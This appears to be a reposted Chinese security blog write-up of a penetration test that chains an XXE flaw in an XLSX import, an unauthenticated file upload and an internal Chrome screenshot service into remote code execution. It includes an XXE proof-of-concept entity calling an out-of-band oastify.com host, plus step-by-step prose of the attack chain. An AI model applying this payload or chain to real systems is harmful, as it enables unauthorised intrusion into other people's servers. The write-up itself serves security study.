文章总结: 该文档详细记录了一次从XXE漏洞到ChromeRCE的完整不出网利用实践。通过分析目标系统的双服务架构(Tomcat+Node.js),发现Node.js截图服务使用存在漏洞的Chrome版本且关闭沙箱保护。利用Excel导入功能的XXE漏洞结合未授权文件上传功能,构造了完整的漏洞利用链:上传恶意HTML文件→XXE触发SSRF访问内网Node.js服务→Chrome解析恶意页面实现RCE。文章提供了具体的技术实现细节和漏洞验证方法,展示了漏洞链组合利用的高级攻击手法。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,红队,内网渗透
XXE到Chrome RCE:一次完整的不出网利用实践
听风安全
2026年5月19日 13:46 北京
在小说阅读器读本章
去阅读
以下文章来源于漫漫安全路 ,作者killer
漫漫安全路 .
漏洞潜伏似暗礁,攻防博弈涌新潮。漫漫安全行愈远,一心求索向九霄。
免责声明
由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
前言
最近忙着审计一些通用设备,停更了一段时间。翻阅以前的笔记,挑选了一个XXE到RCE的经典案例来分享,希望能给大家带来一些启发。
一、服务架构分析
在完成目标系统的安装部署后,我对其Web服务架构进行了详细分析,发现该系统采用了双服务架构:
- 主服务:Tomcat应用服务器
- 辅助服务:Node.js实现的Web服务
服务架构图
1.1 Node.js截图服务审计
Node.js服务的核心代码位于 C:\xxxx\ScreenshotApp\server.js,从文件名可以看出这是一个截图应用。
代码结构
关键发现:代码中调用了Chrome浏览器,并且关闭了沙箱保护机制(--no-sandbox参数)。
Chrome调用代码
该服务接收用户传入的URL参数,使用Chrome打开目标页面并进行截图操作。
URL处理逻辑
1.2 Chrome版本漏洞确认
经过版本检查,发现系统使用的Chrome版本较低,存在已知的RCE漏洞。
Chrome漏洞
理论上可以直接使用Metasploit生成Payload进行利用。
但问题来了:通过外网测绘发现,虽然该服务监听在0.0.0.0,但实际开放到公网的实例并不多。这意味着我们需要找到一个SSRF漏洞来间接访问这个内网服务。
二、Excel导入功能的XXE漏洞挖掘
2.1 漏洞点定位
在Tomcat主应用中搜索了很久未授权的SSRF漏洞,未果。于是转变思路,开始寻找XXE(XML外部实体注入)漏洞,最终在Excel导入功能中找到了突破口。
Servlet代码
该Servlet的处理流程为:
- 接收用户上传的文件
- 解析Excel文件内容
解析流程1
解析流程2
2.2 XXE漏洞验证
XXE代码位置
在解析XLSX文件时,程序对XML内容的处理未禁用外部实体解析,导致XXE漏洞。
PoC构造:修改XLSX文件中的[Content_Types].xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://ukiayp51zrokeq6sm5h05cdit9zzno.oastify.com/111111">
]>
<foo>&xxe;</foo>
修改后的文件
上传修改后的XLSX文件:
上传操作
成功触发XXE,收到外带请求:
XXE触发
三、不出网利用链构造
3.1 初步利用思路
此时我们已经可以通过XXE调用Node.js截图服务,并传入URL参数触发Chrome RCE。但这个方案存在一个问题:需要外部服务器托管恶意Payload。
对于追求完美的渗透测试来说,我们希望实现完全不出网的RCE利用。
3.2 寻找文件上传功能
要实现不出网利用,我们需要找到一个未授权的文件上传点,要求:
- ✅ 文件内容可控
- ✅ 上传后可通过内部URL访问
- ⚠️ 后缀名不需要可控
经过进一步挖掘,找到了符合条件的Servlet:
文件上传功能
上传实现
3.3 完整利用链
至此,完整的不出网RCE利用链构造完成:
- 第一步:利用文件上传功能,上传包含Chrome RCE Payload的恶意文件(如HTML代码),获取其Web访问路径
- 第二步:构造XXE Payload,将目标URL指向第一步上传的文件
- 第三步:将XXE Payload嵌入XLSX文件并上传导入
- 第四步:XXE触发 → SSRF访问Node.js服务 → Chrome打开恶意页面 → RCE成功
四、技术疑问与思考
在复盘这个案例时,我注意到一个有趣的问题:
Chrome访问JPG文件时,其中包含的HTML代码也会被解析吗?
当时测试确实可行,但没有深入研究其原理。可能的原因包括:
- Content-Type响应头的影响
- Chrome的MIME类型嗅探机制
- 文件扩展名与实际内容的处理逻辑
感兴趣的朋友可以自行研究,欢迎交流讨论。
总结
这个案例展示了一个典型的漏洞链组合利用过程,展示了安全研究中”点-线-面”的思维方式。
服务漏洞
关键点在于:
- 🔍 全面的服务架构分析
- 🔗 多个漏洞的链式组合
- 🎯 不出网利用的思路转换
- 💡 对业务逻辑的深入理解
希望这个案例能为大家在实战中提供一些思路启发!
不可错过的往期推荐哦

利用AI一键开启proto全自动明文时代
打通最后一公里!只需一句话轻松拿捏小程序
只需这一招!实现SM2算法自动化加解密
11篇AI代码审计文章:共同点与不同点深度分析
聊一聊2025下半年我都用AI做了哪些事儿
Claude Code Security 技术原理全拆解,传统安全扫描工具真扛不住了?
AI在渗透测试中的应用案例三则
点击下方名片,关注我们
觉得内容不错,就点下“赞”和“在看”
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:听风安全 《XXE到Chrome RCE:一次完整的不出网利用实践》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论